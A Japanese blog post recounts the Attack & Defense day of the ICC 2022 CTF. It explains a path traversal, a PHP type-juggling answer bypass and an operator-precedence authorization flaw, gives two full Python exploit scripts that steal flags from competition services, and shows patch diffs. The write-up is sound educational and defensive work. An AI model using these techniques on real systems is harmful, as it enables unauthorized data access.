こんにちは、デジタルペンテスト部のst98です。
2022年6月14日(火)から2022年6月17日(金)にわたって、ギリシャはアテネで開催されたInternational Cybersecurity Challenge (ICC) 2022というCTFの大会に、アジアチームのメンバーとして参加してきました。
競技の様子をお伝えする記事を先日LAC WATCHに投稿したほか、ごった煮ブログでは競技1日目に出題されたJeopardy形式の問題を紹介しました。
本記事では、Attack & Defense(A&D)形式が採用されていた競技2日目についてお話ししたいと思います。
2日目: Attack & Defense(A&D)
ルールの概要
2日目はいわゆるAttack & Defense(A&D)形式でした。各チームには、まずクローズドなネットワークに設置された仮想マシンにSSHで接続できる、root
ユーザの認証情報が配布されます。この仮想マシンの中では意図的に脆弱に作られた複数のサービスが動いており、各チームは脆弱性を探してパッチをあてつつ、他チームにその脆弱性を使った攻撃を仕掛けることが要求されます。その名の通り、チーム同士で攻撃しあったり、自チームのサービスを防御したりというルールです。
得点は「攻撃(Offense)」「防御(Defense)」「SLA1」の3つの要素から計算されます。ひとつひとつ見ていきましょう。
まず「攻撃」ですが、これはサービスに存在する脆弱性を突いて、他チームからフラグを盗み出して提出することで加点されるという要素です。このフラグはJeopardyの説明でも述べたように、BYVYUACD0JHM8VM8PI9AL4K7QLOPBMU=
というような特定のフォーマットの文字列です。ちなみに、フラグごとに gRG1XpP70OQ
というようなIDが割り振られており、各チームのサーバに追加されたフラグのIDは、どのチームからもスコアサーバで確認できるようになっています。
フラグは、運営が動かすbotによって2分ごとに新しいものが追加されます。どこにフラグが設置されるかというと、これはサービスによります。たとえば、ユーザごとにメモが保存されるメモ帳アプリであれば、フラグIDをユーザ名とするユーザが、フラグをその内容としてメモ帳に書き込むといったものが考えられます。
その例でいえば、他チームを攻撃する際には、公開されているフラグのIDをもとに、それをユーザ名とするユーザとしてログインしてみたり、あるいはそのユーザのメモを覗き見たりする方法を見つければよいわけです。
「防御」は、他チームによってフラグが盗み出され提出されてしまったときに減点されるという要素です。この減点を防ぐために、他チームを攻撃するだけでなく、自チームのサービスに存在する脆弱性にパッチをあてたりする必要があるわけです。
最後に「SLA」ですが、これはサービスがダウンしていたり、正しい挙動を示さなかったりすると減点されるという要素です。それを聞くと、他チームのサービスを落としてしまえばいいじゃないかと考えてしまいますが2、フェアなゲームを実現するためにルール上DoSは禁止されていました。問題のサービス以外のインフラや参加者のPCへの攻撃なども禁止されていました。
競技について
各チームに用意された仮想環境では、ClosedSea, CyberUni, RPN, Trademarkの4つのサービスが動いていました。
私は、競技中はCyberUniというサービスを中心に見ていました。CyberUniはAuthentication Service, ExamNotes, ExamPortal, EncryptedNotesの4つのアプリケーションから構成されていました。WebだけでなくCryptoやReversingなどの要素も含まれていました。これらの4つのアプリケーションは、それぞれ以下のような役割を担っていました。
- Authentication Service: Python + ネイティブコードのライブラリ(ソースコードは与えられていない)のサービス。ユーザの登録やログイン、ほかの3サービスを利用するためのトークンを発行できる
- ExamNotes: Python製のアプリケーション。ログイン後にメモの保存・閲覧ができる。データはファイルとして平文で保存される
- ExamPortal: PHP製のWebアプリケーション。ログイン後にテストの作成と、作成済みのテストへの回答ができる
- EncryptedNotes: Python製のアプリケーション。ログイン後に暗号化されたメモの保存・閲覧ができる
どのサービスを使うにしても、まずAuthentication Serviceでユーザの登録もしくはログインを済ませた上で、各サービスのみで使えるトークンを取得しておく必要があるわけです。このトークンは、デフォルトではユーザ名や生成日時の含まれるデータを、サービスごとに用意された鍵でAES-256-CTRを使い暗号化したものになっています。各サービスでは、それぞれの鍵を使って入力されたトークンを復号し、検証します。
ちなみに、大会の運営がすでにCybersecNatLab/ICC2022-AD-CTFというGitHubのリポジトリを公開しています3。各サービスのソースコードや意図的に埋め込まれた脆弱性の解説とエクスプロイト、なんならSLAのチェックに使われたスクリプトまで含まれています。すごい。
CyberUni関連のファイルは services/service2
下に配置されています。これを参照しつつ、私が発見した脆弱性などを紹介していきます。
CyberUni - ExamNotes
上述のように、ExamNotesはユーザごとに10個までメモの保存と閲覧ができるサービスです。作成されたメモはJSON形式のファイルとして保存されます。保存先は data/(ユーザ名のSHA-256ハッシュ)/(メモのID)
というようなパスで、メモのIDは0から始まる連番です。
運営が動かしているSLA用のbotは、2分ごとにフラグIDをユーザ名とするユーザでログインし、フラグをその内容とするメモを作成します。当然ながら、ただ書き込めるだけでなく、後で正しい内容を読み出せる必要もあります。書き込めたふりをして、他チームからフラグを奪われないようにそもそも保存しないという卑怯な手は使えません。
SLAのチェックが存在しており、定期的にフラグが追加されているということは、フラグを読み出せる脆弱性が存在していることを意味します。
まず確認するのは、ファイルの読み書き周りの処理です。書き込み時は以下のようにディレクトリに存在しているファイルの数から書き込み先のパスを生成しているため、問題ありません。
try: note_number = str(len(os.listdir(os.path.join(base_path, foldername)))) with open(os.path.join(base_path, foldername, note_number), "x") as f: f.write(note) print("Note added!") except FileExistsError: print("Apparently you already wrote this note...")
しかしながら、読み込み時には以下に示すようにユーザ入力をそのまま読み込むファイルのパスに展開してしまっています。../
を含めることでパストラバーサルができてしまいます。
読み込んだファイルの内容を(JSONとして正しくない文字列であればエラーが発生する) json.loads
に通しているために、読み込めるファイルはJSONに限定されますが、それでもフラグの読み取りには十分です。フラグはJSON形式でメモとして保存されていますし、フラグが含まれるメモを保存したユーザ名は既知であるわけなので、../(フラグIDのSHA-256ハッシュ)/0
をメモのIDとして入力すれば、フラグが読み出せるはずです。
id = input("Enter your note id: ") try: with open(os.path.join(base_path, foldername, id), "r") as f: note = json.loads(f.read().strip()) print(f"Title: {note['title']}") print(f"Content: {note['content']}") except FileNotFoundError: print("You must write a note before reading it!") except Exception as e: print(e)
攻撃を自動化したエクスプロイトが以下になります。Authentication Serviceでユーザ登録とExamNotes向けのトークンを取得し、スコアサーバでフラグIDを確認した後に、ExamNotesでパストラバーサルを使ってそのフラグIDに対応するフラグを読み出しています。pwntools, requestsという便利なライブラリと、Authentication Serviceのソースコードに付属していたクライアントを活用しています。
#!/usr/bin/env python3 import hashlib import os import random import string import sys import requests from pwn import * import cyberuni_auth_client AUTH_PORT = 1234 EXAMNOTES_PORT = 1235 SERVICES = { "ExamNotes": "1", "EncryptedNotes": "2", "ExamPortal": "3" } ALPH = string.ascii_letters + string.digits if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target>') sys.exit(1) ip = sys.argv[1] flagids = requests.get('http://10.10.0.1:8081/flagIds').json() flagids = flagids['ExamNotes'][ip] print(flagids) def randstr(): return ''.join(random.choices(ALPH, k=16)) username, password = randstr(), randstr() client = cyberuni_auth_client.Client(ip, username, password, SERVICES['ExamNotes']) client.register() resp = client.login() if resp: token = client.get_token() else: print(f"Login failed: {ip}") sys.exit(0) ###################### s = connect(ip, EXAMNOTES_PORT) s.recvuntil(b'Enter your login token:') s.sendline(token.encode()) s.recvuntil(b'0. Exit') s.sendline(b'1') # write note s.recvuntil(b'Title of the note:') s.sendline(randstr().encode()) s.recvuntil(b'Content of the note:') s.sendline(randstr().encode()) s.close() for flagid in flagids: s = connect(ip, EXAMNOTES_PORT) s.recvuntil(b'Enter your login token:') s.sendline(token.encode()) s.recvuntil(b'0. Exit') s.sendline(b'3') # read note s.recvuntil(b'Enter your note id:') d = hashlib.sha256(flagid.encode()).hexdigest() s.sendline('{}{}/{}'.format('../', d, '0').encode()) if b'Title: flag' in s.recvline(): flag = s.recvline() flag = flag.decode().strip().split(' ')[1] print("flag is " + flag, flush=True) s.close()
この脆弱性への対応策が以下のdiffです。メモのIDに /
が含まれていれば弾くという修正です。本来であれば basename
を使うなり、メモのIDは数値に限られるのでその検証をするなりすべきですし、場当たり的でまったくもって根本的でない対策ではありますが、今回はフラグさえ読み出されなければそれでよいので、十分です。
--- a/examnotes/app/server.py +++ b/examnotes/app/server.py @@ -47,6 +47,8 @@ def list_notes(foldername): def read_note_by_id(foldername): id = input("Enter your note id: ") try: + if '/' in id: + return with open(os.path.join(base_path, foldername, id), "r") as f: note = json.loads(f.read().strip()) print(f"Title: {note['title']}")
CyberUni - ExamPortal
上述のように、ExamPortalはPHP製のWebサービスです。発行されたトークンでログインした後に、テストの作成と、作成済みのテストへの回答ができます。テストで作成できる問題は4択式で、全問正解した場合にのみ表示されるメッセージも設定できます。
運営が動かしているSLA用のbotは、2分ごとにExamPortalにログインし、全問正解時にフラグが表示されるテストを作成します。このテストは誰でも受けられる設定になってはいますが、全部で10問がある上に正解もランダムに設定されているため、総当たりは現実的ではありません。なんとかしてテストのカンニングなりバイパスなりをしたいところです。
データはMySQLに保存されます。Dockerコンテナの起動時に読み込まれる db/init/init.sql
を確認するとわかるように、このサービスを利用したことのあるユーザのリストである users
と、テストの情報が格納されている exams
というテーブルが存在しています。MySQLと聞くとまずSQLインジェクションを疑いますが、データの取得や追加を行う関数がまとめられている app/classes/database.php
とその利用箇所を確認した限りでは、徹底してプレースホルダが使われており問題はありませんでした。
どこに脆弱性があるのか悩みつつ探していたところ、全プレイヤーが参加するDiscordサーバでオセアニアチームが初めてこのサービスのフラグを奪取したというアナウンスがありました。しばらく後に、メンバーのMoriartyさんが exam_submit.php
にアクセスするパケットからフラグが漏れていることを発見しました。
exam_submit.php
は問題の回答に使われるAPIです。本来であれば ["A","B","C","D"]
のように文字列を要素とする配列をJSON形式でPOSTし回答するところ、問題のパケットでは [0,0,0,0]
のように要素がすべて数値になっていました。
exam_submit.php
の実装を確認したところ、以下のように正解とユーザの回答とを比較する処理で ==
が使われていました。
foreach($correct as $i=>$corr_ans) {
$given_ans = $obj["answers"][$i];
if ($corr_ans == $given_ans) $score++;
}
PHPのドキュメントの比較演算子というページによれば、文字列と数値もしくは数値形式の文字列との緩い比較では、文字列が数値に変換された上で比較されます。今回使われているPHPは8.0.0以前のバージョンであるため、0 == "A"
が成り立ちます。JeopardyではMagic Hashというテクニックが出てきましたが、Type Juggling再びという感じですね。
攻撃を自動化したエクスプロイトが以下になります。Authentication Serviceで作成したトークンを使ってログインした後に、公開されているテストのリストを参照して片っ端から受けていきます。問題の数だけ 0
を回答し、表示されるメッセージ(つまり、フラグ)を取得します。
#!/usr/bin/env python3 import hashlib import os import random import string import sys import requests from pwn import * import cyberuni_auth_client AUTH_PORT = 1234 EXAMPORTAL_PORT = 1237 SERVICES = { "ExamNotes": "1", "EncryptedNotes": "2", "ExamPortal": "3" } ALPH = string.ascii_letters + string.digits if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target>') sys.exit(1) ip = sys.argv[1] flagids = requests.get('http://10.10.0.1:8081/flagIds').json() flagids = flagids['ExamNotes'][ip] def randstr(): return ''.join(random.choices(ALPH, k=16)) username, password = randstr(), randstr() client = cyberuni_auth_client.Client(ip, username, password, SERVICES['ExamPortal']) client.register() resp = client.login() if resp: token = client.get_token() else: print(f"Login failed: {ip}") sys.exit(0) ###################### base = f'http://{ip}:{EXAMPORTAL_PORT}' s = requests.Session() s.get(f'{base}') s.post(f'{base}/login.php', data={ '2fa': '', 'token': token }) r = s.get(f'{base}/exam_list.php') exams_cnt = r.text.count("href='/exam.php?id=") for exam_id in range(exams_cnt, exams_cnt - 10, -1): r = s.get(f'{base}/exam.php?id={exam_id}') cnt = r.text.count('Question: ') r = s.post(f'{base}/exam_submit.php', json={ 'id': exam_id, 'answers': [0] * cnt }) if '=' in r.text: flag = r.json()['msg'] print(flag, flush=True)
この脆弱性への対応策が以下のdiffです。雑に ==
を ===
に置換しています。
diff --git a/examportal/app/exam_submit.php b/examportal/app/exam_submit.php index 3304f6d..eb504e4 100755 --- a/examportal/app/exam_submit.php +++ b/examportal/app/exam_submit.php @@ -10,15 +10,15 @@ if (isset($_POST)) { $obj = json_decode(file_get_contents("php://input"), true); $id = $obj["id"]; $exam = Exam::fromId($id); - if ($exam->DB_get() == false) die("No such exam"); + if ($exam->DB_get() === false) die("No such exam"); $correct = $exam->getCorrect(); $num = count($correct); $score = 0; foreach($correct as $i=>$corr_ans) { $given_ans = $obj["answers"][$i]; - if ($corr_ans == $given_ans) $score++; + if ($corr_ans === $given_ans) $score++; } - if ($score == $num) $message = $exam->getPrize(); + if ($score === $num) $message = $exam->getPrize(); else $message = "Better luck next time!"; echo json_encode(["msg" => $message]);
後から公式の解説を読んだところ、自分で作成したテストに限って問題とその正解を確認できるAPIである exam_view.php
にも脆弱性が存在していたことがわかりました。
問題の箇所が以下になります。ユーザが2FAを有効にしており、かつ問題の作成者とログインしているユーザが一致している場合に限って問題の情報を表示させようとしています。が、「かつ」を表現するために and
演算子を使っています。
$can_view = $user->has2fa() and $exam->getOwner() === $user->getId(); if (!$can_view) die("Unauthorized");
演算子の優先順位を確認すると、代入演算子である =
は and
より優先順位が低いことがわかります。カッコを付けてわかりやすくすると、以下のような優先順位で実行されることになります。結局のところ、$exam->getOwner() === $user->getId()
の結果は捨てられていて、$user->has2fa()
であるかのみが確認されていたわけです。
($can_view = $user->has2fa()) and ($exam->getOwner() === $user->getId());
そういうことかと納得すると同時に、なぜ見逃してしまったのかという気持ちになりました。なぜ &&
でなく and
が使われているのかと疑問に思ったのは覚えていますが、&&
である場合と同様に ===
の方が and
より優先順位が高いことだけを検証して、$can_view
に何が入っているかを確認しなかった記憶があります。これのせいで点をちゅうちゅう吸われ続けていたんですねえ。
時系列
最後に、CyberUniと全体のイベントを時系列(時刻はすべてUTC+3)でまとめてみます。
- 9:00 - 競技開始
- 10:00 - 他チームのサービスへのアクセスが開放される
- 10:07 - st98がExamNotesに存在するパストラバーサル(以下、脆弱性A)を見つける
- 10:32 - st98が脆弱性Aにパッチをあてる
- 11:32 - st98が脆弱性Aのエクスプロイトを作成し、他チームへの攻撃を始める
- 11:35 - メンバーのMoriartyさんが、ExamPortalの
exam_submit.php
を攻撃するパケットを見つける - 11:43 - st98が11:35の攻撃に対応する脆弱性(以下、脆弱性B)のある箇所を発見する
- 11:46 - st98が脆弱性Bにパッチをあてる
- 12:13 - st98が脆弱性Bのエクスプロイトを作成し、他チームへの攻撃を始める
- 13:30ごろ - アジアチームがヨーロッパチームを追い抜いて1位になる
- 14:08 - メンバーのcattoさんらが既知のトークンから、CTRモードの性質を利用して任意のユーザとサービスのトークンを生成する。やば
- 15:55 - メンバーのcattoさんらがEncryptedNotesを破る。すごい
- 17:00 - ランキングのスコア変動が見えなくなり、スコアボードからは各サービスのSLAの状況だけが見えるようになる
- 18:00 - 競技終了
おわりに
競技の紹介でも述べましたが、Webのみのようにひとつのカテゴリに偏ることはなく、Web, Crypto, Reversingのように複数のカテゴリの要素が組み合わさっていたり、あるいはサービスや脆弱性の量であったり、2日目のA&Dはバランスのよい競技であったように思います。
いまだにJeopardyのJhonの解法には納得していませんが、それはさておいて、全体的に見るとJeopardyもA&Dも(特にA&Dは!)とても楽しい競技でした。私のチームへの貢献は微々たるものではないかと思ってしまいますが、プラスの貢献ができただけよかったと思うことにします。
-
Service Level Agreementの略です。一定時間サービスが止まったら返金するとかのアレです。↩
-
過去の事例: https://twitter.com/UCSBiCTF/status/849034591000182784↩
-
SECCON CTFやTSG CTFのように、競技の終了後に問題やその解法をGitHubなどで公開するCTFが最近では多い印象があります。都合が悪くて参加できなかったけれども問題には挑戦したい、本番では解けなかったけれども解法が知りたいといったときに大変便利で、素晴らしいと思います。↩